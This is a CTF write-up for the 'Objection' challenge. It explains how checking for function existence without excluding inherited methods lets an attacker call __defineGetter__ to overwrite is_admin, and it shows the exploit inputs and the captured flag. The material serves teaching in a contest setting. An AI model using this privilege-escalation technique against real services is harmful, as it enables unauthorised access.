Oct 23, 2014 • Break

Objection

Description

This guard talks a weird dialect. And why does he talk in such a complicated way? Download

nc wildwildweb.fluxfingers.net 1408

Solution

We were able to translate the code into JavaScript using LiveScript: objection.js

When looking at the code, the following line is vulnerable.

if (typeof client_context[funcname] !== 'function') {
        return con.write("error: unknown function " + funcname + "\n");
}

It only checks if the function funcname exists. But this also includes inherited functions of the object client_context like e. g. toString().

We, therefore, tried to redefine functions using eval(), lamdba-functions, __defineSetter__ and succeeded with __defineGetter__.

__defineGetter__(name, function) overwrites a label with a function and makes it into a getter. The resulting “function” can be used as a normal variable:

var finite = {}
finite.__defineGetter__("monkeys", function(){return "monkeys rock!";}
console.log(finite.monkeys) //notice the missing brackets - not: finite.monkeys()
//prints "monkeys rock!" to the console

The only problem is that we do not control the second parameter. The function is given in the code:

client_context[funcname](args, function(it){
        return con.write(it + "\n");
});

But, since it usually succeeds to write to the connection, it returns true!

So we used __defineGetter__ to overwrite the variable is_admin in order to gain admin privileges.

hello!
__defineGetter__ is_admin
get_token
undefined
The current token is flag{real_cowboys_dont_use_object_create_null}

__defineGetter__ is_admin overwrites the variable is_admin with a getter which uses the next argument - here: function(it){return con.write(it + "\n");} - and always returns true.

The flag was afterwards retrieved for 150+80 points using get_token.

(joint work Chris, Mike)